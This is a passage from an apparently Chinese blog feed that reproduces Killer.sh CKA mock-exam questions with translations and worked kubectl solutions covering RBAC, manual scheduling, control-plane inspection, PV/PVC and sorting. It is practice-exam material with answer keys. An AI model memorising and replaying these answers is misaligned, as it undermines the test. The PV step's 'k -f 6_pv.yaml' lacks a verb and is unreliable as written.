        <content type="html"><![CDATA[<hr><p>Use context: <code>kubectl config use-context k8s-c1-H</code></p><p>Create a new ServiceAccount <code>processor</code> in Namespace  <code>project-hamster</code> . Create a Role and RoleBinding, both named <code>processor</code> as well. These should allow the new SA to only create Secrets and ConfigMaps in that Namespace.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>在namespace <code>project-hamster</code> 中创建一个新的 ServiceAccount <code>processor</code> 。创建一个 角色 和 RoleBinding ，这两个都是命名的 <code>processor</code> 。这些应该允许新的 SA 只在该命名空间中创建 <code>Secrets</code> 和 <code>ConfigMaps</code> 。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><hr><p>有4种不同的RBAC组合和3种有效的组合。</p><ol><li>Role + RoleBinding（适用于单一命名空间，适用于单个命名空间）</li><li>ClusterRole + ClusterRoleBinding (全集群可用，适用于整个集群)</li><li>ClusterRole + RoleBinding（全集群可用，适用于单个命名空间）</li><li>Role + ClusterRoleBinding（不可用：在单个命名空间中可用，适用于整个集群）</li></ol><hr><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k config use-context k8s-c1-H</span><br></pre></td></tr></table></figure><p>创建ServiceAccount,role</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-hamster create sa processor</span><br><span class="line">k -n project-hamster create role processor \</span><br><span class="line">  --verb=create \</span><br><span class="line">  --resource=secret \</span><br><span class="line">  --resource=configmap</span><br></pre></td></tr></table></figure><p>创建 rolebinding</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-hamster create rolebinding processor \</span><br><span class="line">  --role processor \</span><br><span class="line">  --serviceaccount project-hamster:processor</span><br></pre></td></tr></table></figure><p>验证</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-hamster auth can-i create secret \</span><br><span class="line">  --as system:serviceaccount:project-hamster:processor</span><br><span class="line"></span><br><span class="line">k -n project-hamster auth can-i create configmap \</span><br><span class="line">  --as system:serviceaccount:project-hamster:processor</span><br><span class="line"></span><br><span class="line">k -n project-hamster auth can-i create pod \</span><br><span class="line">  --as system:serviceaccount:project-hamster:processor</span><br><span class="line"></span><br><span class="line">k -n project-hamster auth can-i delete secret \</span><br><span class="line">  --as system:serviceaccount:project-hamster:processor</span><br><span class="line"></span><br><span class="line">k -n project-hamster auth can-i get configmap \</span><br><span class="line">  --as system:serviceaccount:project-hamster:processor</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/dca81951310305b2a05846686ebb12afd8550f0fb7c89b34e4fc6aadce320e9d.jpg" alt="rbac-2-0">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 9 | Kill Scheduler, Manual Scheduling</title>
      <link href="/archives/kubernetes/CKA/node-schedule-3.html"/>
      <url>/archives/kubernetes/CKA/node-schedule-3.html</url>
      
        <content type="html"><![CDATA[<hr><p>Use context: <code>kubectl config use-context k8s-c2-AC</code></p><p>Ssh into the controlplane node with  <code>ssh cluster2-controlplane1</code> . <code>Temporarily</code> stop the kube-scheduler, this means in a way that you can start it again afterwards.</p><p>Create a single Pod named <code>manual-schedule</code> of image  <code>httpd:2.4-alpine</code> , confirm it’s created but not scheduled on any node.</p><p>Now you’re the scheduler and have all its power, manually schedule that Pod on node cluster2-controlplane1. Make sure it’s running.</p><p>Start the kube-scheduler again and confirm it’s running correctly by creating a second Pod named <code>manual-schedule2</code> of image <code>httpd:2.4-alpine</code> and check if it’s running on cluster2-node1.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>用 <code>ssh cluster2-controlplane1</code> 登录控制板节点。暂时停止 kube-scheduler ，这意味着你可以在之后再次启动它。</p><p>创建一个名为 <code>manual-schedule</code> 的 Pod，镜像为 <code>httpd:2.4-alpine</code> ，确认它已经创建，但没有在任何节点上调度。</p><p>现在你是调度员，拥有它的所有权力，在 <code>cluster2-controlplane1</code> 节点上手动调度这个 Pod 。确保它正在运行。</p><p>再次启动 kube-scheduler ，通过创建第二个Pod <code>manual-schedule2</code> 使用镜像 <code>httpd:2.4-alpine</code> ，并检查它是否在 cluster2-node1 上运行，确认它运行正常。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s-c2-AC</span><br></pre></td></tr></table></figure><p>检查并找出 controlplane 节点,</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get node</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/46681850088e490f701b479a538df5ecf895b304f09bbe5f68e2f584be03bf66.jpg" alt="node-schedule-3-0">  </p><p>连接上远程节点并检查调度程序是否正在运行。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster2-controlplane1</span><br><span class="line">root@cluster2-controlplane1:~# kubectl -n kube-system get pod | grep schedule</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/ebb0741a8ebb5d80f65266f282f35699f07e7a134cce70c22aec26d992f9e1bf.jpg" alt="node-schedule-3-1">  </p><p>通过移出yaml文件结束调度pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">root@cluster2-controlplane1:~# <span class="built_in">mv</span> /etc/kubernetes/manifests/kube-scheduler.yaml .</span><br><span class="line">root@cluster2-controlplane1:~# <span class="built_in">pwd</span></span><br><span class="line">root@cluster2-controlplane1:~# kubectl -n kube-system get pod | grep schedule</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/56523a3d97e570b2c7611a124df7140d54977455fbf23be43424ffc11bf5010f.jpg" alt="node-schedule-3-2">  </p><p>创建pod,并检查状态</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k run manual-schedule --image=httpd:2.4-alpine</span><br><span class="line">k get pod manual-schedule -o wide</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/bf70854c94aeb3dd0accdf5fdcb29f878796b91a6187ea72c6a9cf7f94c108bf.jpg" alt="node-schedule-3-3">  </p><p>编辑pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get pod manual-schedule -o yaml &gt; 9.yaml</span><br></pre></td></tr></table></figure><p>9.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 9.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="string">&quot;2020-09-04T15:51:02Z&quot;</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">run:</span> <span class="string">manual-schedule</span></span><br><span class="line">  <span class="attr">managedFields:</span></span><br><span class="line"><span class="string">...</span></span><br><span class="line">    <span class="attr">manager:</span> <span class="string">kubectl-run</span></span><br><span class="line">    <span class="attr">operation:</span> <span class="string">Update</span></span><br><span class="line">    <span class="attr">time:</span> <span class="string">&quot;2020-09-04T15:51:02Z&quot;</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">manual-schedule</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">default</span></span><br><span class="line">  <span class="attr">resourceVersion:</span> <span class="string">&quot;3515&quot;</span></span><br><span class="line">  <span class="attr">selfLink:</span> <span class="string">/api/v1/namespaces/default/pods/manual-schedule</span></span><br><span class="line">  <span class="attr">uid:</span> <span class="string">8e9d2532-4779-4e63-b5af-feb82c74a935</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">nodeName:</span> <span class="string">cluster2-controlplane1</span>        <span class="comment"># add the controlplane node name</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">httpd:2.4-alpine</span></span><br><span class="line">    <span class="attr">imagePullPolicy:</span> <span class="string">IfNotPresent</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">manual-schedule</span></span><br><span class="line">    <span class="attr">resources:</span> &#123;&#125;</span><br><span class="line">    <span class="attr">terminationMessagePath:</span> <span class="string">/dev/termination-log</span></span><br><span class="line">    <span class="attr">terminationMessagePolicy:</span> <span class="string">File</span></span><br><span class="line">    <span class="attr">volumeMounts:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">mountPath:</span> <span class="string">/var/run/secrets/kubernetes.io/serviceaccount</span></span><br><span class="line">      <span class="attr">name:</span> <span class="string">default-token-nxnc7</span></span><br><span class="line">      <span class="attr">readOnly:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">dnsPolicy:</span> <span class="string">ClusterFirst</span></span><br><span class="line"><span class="string">...</span></span><br></pre></td></tr></table></figure><p>由于我们不能用kubectl应用或kubectl编辑，在这种情况下，我们需要删除并创建或替换</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -f 9.yaml replace --force</span><br><span class="line">k get pod manual-schedule -o wide</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/75832eec00b1a65a6f8865097762a401c43ffdb7eaafa5d3c671229771d5ad6a.jpg" alt="node-schedule-3-4">  </p><p>再次调度</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster2-controlplane1</span><br><span class="line">root@cluster2-controlplane1:~# <span class="built_in">mv</span> kube-scheduler.yaml /etc/kubernetes/manifests/</span><br><span class="line">root@cluster2-controlplane1:~# kubectl -n kube-system get pod | grep schedule</span><br><span class="line">root@cluster2-controlplane1:~# <span class="built_in">exit</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/562df0b8762974af14abec2d17a4cbc8cd5c340844edd8acc39605c1334a318a.jpg" alt="node-schedule-3-5">  </p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k run manual-schedule2 --image=httpd:2.4-alpine</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/b19b91f50238f89383b82eefe6bb0e29f686cc7ed01dc6284b3429f52fe49377.jpg" alt="node-schedule-3-6">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 8 | Get Controlplane Information</title>
      <link href="/archives/kubernetes/CKA/Controplane-info.html"/>
      <url>/archives/kubernetes/CKA/Controplane-info.html</url>
      
        <content type="html"><![CDATA[<p>Use context: <code>kubectl config use-context k8s-c1-H</code></p><p>Ssh into the controlplane node with  <code>ssh cluster1-controlplane1</code> . Check how the controlplane components kubelet, kube-apiserver, kube-scheduler, kube-controller-manager and etcd are started&#x2F;installed on the controlplane node. Also find out the name of the DNS application and how it’s started&#x2F;installed on the controlplane node.</p><p>Write your findings into file  <code>/opt/course/8/controlplane-components.txt</code> . The file should be structured like:</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /opt/course/8/controlplane-components.txt</span></span><br><span class="line"><span class="attr">kubelet:</span> [<span class="string">TYPE</span>]</span><br><span class="line"><span class="attr">kube-apiserver:</span> [<span class="string">TYPE</span>]</span><br><span class="line"><span class="attr">kube-scheduler:</span> [<span class="string">TYPE</span>]</span><br><span class="line"><span class="attr">kube-controller-manager:</span> [<span class="string">TYPE</span>]</span><br><span class="line"><span class="attr">etcd:</span> [<span class="string">TYPE</span>]</span><br><span class="line"><span class="attr">dns:</span> [<span class="string">TYPE</span>] [<span class="string">NAME</span>]</span><br></pre></td></tr></table></figure><p>Choices of <code>TYPE</code>  are: <code>not-installed, process, static-pod, pod</code></p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>用 <code>ssh cluster1-controlplane1</code> 登录控制板节点。检查控制板组件 <code>kubelet</code> 、<code>kube-apiserver</code> 、<code>kube-scheduler</code> 、<code>kube-controller-manager</code> 和 <code>etcd</code> 是如何在控制板节点上启动&#x2F;安装的。还要找出 <code>DNS应用程序</code> 的名称以及它是如何在控制平面节点上启动&#x2F;安装的。</p><p>把你的发现写进文件 <code>/opt/course/8/controlplan-components.txt</code> 。该文件的结构应该是这样的。</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line"># /opt/course/8/controlplane-components.txt</span><br><span class="line">kubelet: [TYPE]</span><br><span class="line">kube-apiserver: [TYPE]</span><br><span class="line">kube-scheduler: [TYPE]</span><br><span class="line">kube-controller-manager: [TYPE]</span><br><span class="line">etcd: [TYPE]</span><br><span class="line">dns: [TYPE] [NAME]</span><br></pre></td></tr></table></figure><p><code>TYPE</code> 为: <code>not-installed</code> , <code>process</code> , <code>static-pod</code> , <code>pod</code></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s-c1-H</span><br></pre></td></tr></table></figure><p>检查kubelet</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster1-controlplane1</span><br><span class="line">root@cluster1-controlplane1:~# ps aux | grep kubelet <span class="comment">#显示kubelet进程</span></span><br></pre></td></tr></table></figure><p>我们可以通过systemd查看哪些组件是通过systemd控制的</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">root@cluster1-controlplane1:~# find /etc/systemd/system/ | grep kube</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/fa8483fd870d53a880f3f0b94de652f9722a0f2d260ae145f7d37b43084e02d9.jpg" alt="Controplane-info-0">  </p><p>这个集群是用kubeadm设置的，所以我们在默认的清单目录中检查一下</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">root@cluster1-controlplane1:~# find /etc/kubernetes/manifests/</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/377d5298fc369991bb2f8cd74ab81ca3ff92f5c7ce3fbe99fa1f09f6e5b5659d.jpg" alt="Controplane-info-1">  </p><p>这意味着主要的4个控制板服务被设置为静态Pod。实际上，让我们检查一下在控制平面节点上的kube-system命名空间中运行的所有Pods,在这里我们看到了5个静态pod，后缀为-cluster1-controlplane1</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n kube-system get pod -o wide | grep controlplane1</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/434e0dfa3b0334736c98ac2f74da219a30eed50789fe3a74a39e2f6c0c76ca04.jpg" alt="Controplane-info-2">  </p><p>检查dns</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">root@cluster1-controlplane1$ kubectl -n kube-system get ds,deploy</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/06dd401978db88cd3014176e5305cf3a3f61ef1505f829fc43bf102f6e10a790.jpg" alt="Controplane-info-3">  </p><p>退出controlplane1远程,  编辑文件</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /opt/course/8/controlplane-components.txt</span></span><br><span class="line"><span class="attr">kubelet:</span> <span class="string">process</span></span><br><span class="line"><span class="attr">kube-apiserver:</span> <span class="string">static-pod</span></span><br><span class="line"><span class="attr">kube-scheduler:</span> <span class="string">static-pod</span></span><br><span class="line"><span class="attr">kube-controller-manager:</span> <span class="string">static-pod</span></span><br><span class="line"><span class="attr">etcd:</span> <span class="string">static-pod</span></span><br><span class="line"><span class="attr">dns:</span> <span class="string">pod</span> <span class="string">coredns</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/ab0172f655a1aed93f5905d86d88c7dc09492c98fc3e5ddae3f742133aad2ee0.jpg" alt="Controplane-info-4">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 7 | Node and Pod Resource Usage</title>
      <link href="/archives/kubernetes/CKA/Resource.html"/>
      <url>/archives/kubernetes/CKA/Resource.html</url>
      
        <content type="html"><![CDATA[<hr><p>Use context: <code>kubectl config use-context k8s-c1-H</code></p><p>The metrics-server has been installed in the cluster. Your college would like to know the kubectl commands to:</p><p>show Nodes resource usage show Pods and their containers resource usage Please write the commands into <code>/opt/course/7/node.sh</code> and  <code>/opt/course/7/pod.sh</code> .</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>在集群中已经安装了metrics-server。你们学院想知道使用 <code>kubectl</code> 的命令获取如下信息。</p><ol><li>显示节点资源使用情况</li><li>显示Pod和其容器的资源使用情况</li></ol><p>请将这些命令写入<code>/opt/course/7/node.sh</code> 和 <code>/opt/course/7/pod.sh</code> 。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>参考: kubectl top node -h kubectl top pod -h</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl top node</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;kubectl top node&quot;</span> &gt; /opt/course/7/node.sh</span><br><span class="line"></span><br><span class="line">kubectl top pod --containers=<span class="literal">true</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;kubectl top pod --containers=true&quot;</span> &gt; /opt/course/7/pod.sh</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/6fc2eabe7a8013a980aeb8720622a231757a6efafbf553867276340754f1e594.jpg" alt="Resource-0">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 6 | Storage, PV, PVC, Pod volume</title>
      <link href="/archives/kubernetes/CKA/create-pv-2.html"/>
      <url>/archives/kubernetes/CKA/create-pv-2.html</url>
      
        <content type="html"><![CDATA[<hr><p>Use context: <code>kubectl config use-context k8s-c1-H</code></p><p>Create a new PersistentVolume named  <code>safari-pv</code> . It should have a capacity of  <code>2Gi</code> , accessMode  <code>ReadWriteOnce</code> , hostPath <code>/Volumes/Data</code> and no storageClassName defined.</p><p>Next create a new PersistentVolumeClaim in Namespace <code>project-tiger</code> named <code>safari-pvc</code> . It should request <code>2Gi</code> storage, accessMode <code>ReadWriteOnce</code> and should not define a storageClassName. The PVC should bound to the PV correctly.</p><p>Finally create a new Deployment <code>safari</code> in Namespace <code>project-tiger</code> which mounts that volume at  <code>/tmp/safari-data</code> . The Pods of that Deployment should be of image  <code>httpd:2.4.41-alpine</code> .</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>创建一个新的PersistentVolume，名为 <code>safari-pv</code> 。它的容量为 <code>2Gi</code> ，访问模式为 <code>ReadWriteOnce</code> ，主机路径为 <code>/Volumes/Data</code> ，不定义存储类别名称。</p><p>接下来在namespace <code>project-tiger</code>创建一个新的 PersistentVolumeClaim ，命名为 <code>safari-pvc</code> 。它应该请求 <code>2Gi</code> 存储，访问模式 <code>ReadWriteOnce</code> ，并且不应该定义存储类名称。PVC应该正确地绑定到PV上。</p><p>最后在名字空间 <code>project-tiger</code> 中创建一个新的部署 <code>safari</code> ，将该卷挂载在 <code>/tmp/safari-data</code> 。该部署Pod的镜像是 <code>httpd:2.4.41-alpine</code></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>pv可参考<br><a href="https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-persistent-volume-storage/#create-a-pv">https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-persistent-volume-storage/#create-a-pv</a></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim 6_pv.yaml</span><br></pre></td></tr></table></figure><p>6_pv.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 6_pv.yaml</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">PersistentVolume</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line"> <span class="attr">name:</span> <span class="string">safari-pv</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line"> <span class="attr">capacity:</span></span><br><span class="line">  <span class="attr">storage:</span> <span class="string">2Gi</span></span><br><span class="line"> <span class="attr">accessModes:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">ReadWriteOnce</span></span><br><span class="line"> <span class="attr">hostPath:</span></span><br><span class="line">  <span class="attr">path:</span> <span class="string">&quot;/Volumes/Data&quot;</span></span><br></pre></td></tr></table></figure><p>创建pv</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -f 6_pv.yaml</span><br></pre></td></tr></table></figure><p>pvc可参考<br><a href="https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-persistent-volume-storage/#create-a-pvc">https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-persistent-volume-storage/#create-a-pvc</a></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim 6_pvc.yaml</span><br></pre></td></tr></table></figure><p>6_pvc.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 6_pvc.yaml</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">PersistentVolumeClaim</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">safari-pvc</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">project-tiger</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">accessModes:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">ReadWriteOnce</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">    <span class="attr">requests:</span></span><br><span class="line">     <span class="attr">storage:</span> <span class="string">2Gi</span></span><br></pre></td></tr></table></figure><p>创建pvc</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -f 6_pvc.yaml create</span><br></pre></td></tr></table></figure><p>检查pv,pvc绑定情况</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-tiger get pv,pvc</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/5dfb81542c5c82215b9997b1b3780ab570c8a5f474b76f6af896f57444abef48.jpg" alt="create-pv-2-0">  </p><p>创建一个部署并挂载卷,可以参考<br><a href="https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-persistent-volume-storage/#create-a-pod">https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-persistent-volume-storage/#create-a-pod</a></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-tiger create deploy safari \</span><br><span class="line">  --image=httpd:2.4.41-alpine <span class="variable">$do</span> &gt; 6_dep.yaml</span><br><span class="line">vim 6_dep.yaml</span><br></pre></td></tr></table></figure><p>6_dep.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">safari</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">safari</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">project-tiger</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">1</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">safari</span></span><br><span class="line">  <span class="attr">strategy:</span> &#123;&#125;</span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">safari</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">volumes:</span>                                      <span class="comment"># add</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">data</span>                                  <span class="comment"># add</span></span><br><span class="line">        <span class="attr">persistentVolumeClaim:</span>                      <span class="comment"># add</span></span><br><span class="line">          <span class="attr">claimName:</span> <span class="string">safari-pvc</span>                     <span class="comment"># add</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">httpd:2.4.41-alpine</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">container</span></span><br><span class="line">        <span class="attr">volumeMounts:</span>                               <span class="comment"># add</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">data</span>                                <span class="comment"># add</span></span><br><span class="line">          <span class="attr">mountPath:</span> <span class="string">/tmp/safari-data</span>               <span class="comment"># add</span></span><br></pre></td></tr></table></figure><p>创建pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -f 6_dep.yaml create</span><br></pre></td></tr></table></figure><p>检查pod挂载情况</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-tiger describe pod safari-xxx-xxx  | grep -i -A2 mounts</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/26fec5920cc45e139607fd93fcc05ee1c1c635027037e5383393b4e3179b2333.jpg" alt="create-pv-2-1">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 5 | Kubectl sorting</title>
      <link href="/archives/kubernetes/CKA/pod-sort.html"/>
      <url>/archives/kubernetes/CKA/pod-sort.html</url>
      
        <content type="html"><![CDATA[<hr><p>Use context: <code>kubectl config use-context k8s-c1-H</code></p><p>There are various Pods in all namespaces. Write a command into <code>/opt/course/5/find_pods.sh</code> which lists all Pods sorted by their AGE ( <code>metadata.creationTimestamp</code> ).</p><p>Write a second command into <code>/opt/course/5/find_pods_uid.sh</code> which lists all Pods sorted by field  <code>metadata.uid</code> . Use <code>kubectl</code> sorting for both commands.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>在所有命名空间中都有各种Pod。<br>在 <code>/opt/course/5/find_pods.sh</code> 中写一条命令，列出所有按AGE <code>metadata.createTimestamp</code> 排序的Pod。<br>在 <code>/opt/course/5/find_pods_uid.sh</code> 中编写第二条命令，列出所有按 <code>metadata.uid</code> 排序的Pod。<br>两个命令都使用 <code>kubectl</code> 排序。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get pod -A --sort-by=.metadata.creationTimestamp</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;kubectl get pod -A --sort-by=.metadata.creationTimestamp&quot;</span> &gt; /opt/course/5/find_pods.sh</span><br><span class="line">bash /opt/course/5/find_pods.sh</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/0418519d7d65e5ac029a1c0289e6d6ccabafc480d4530fd97fef29c60e187184.jpg" alt="pod-sort-0">  </p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;kubectl get pod -A --sort-by=.metadata.uid&quot;</span> &gt; /opt/course/5/find_pods_uid.sh</span><br><span class="line">bash /opt/course/5/find_pods_uid.sh</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/c7983fe31ba5a24ca97b4f549657ddb60b891f717317e22de386073e5fa7de74.jpg" alt="pod-sort-1">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 4 | Pod Ready if Service is reachable</title>
      <link href="/archives/kubernetes/CKA/readlinessprobe.html"/>
      <url>/archives/kubernetes/CKA/readlinessprobe.html</url>
      
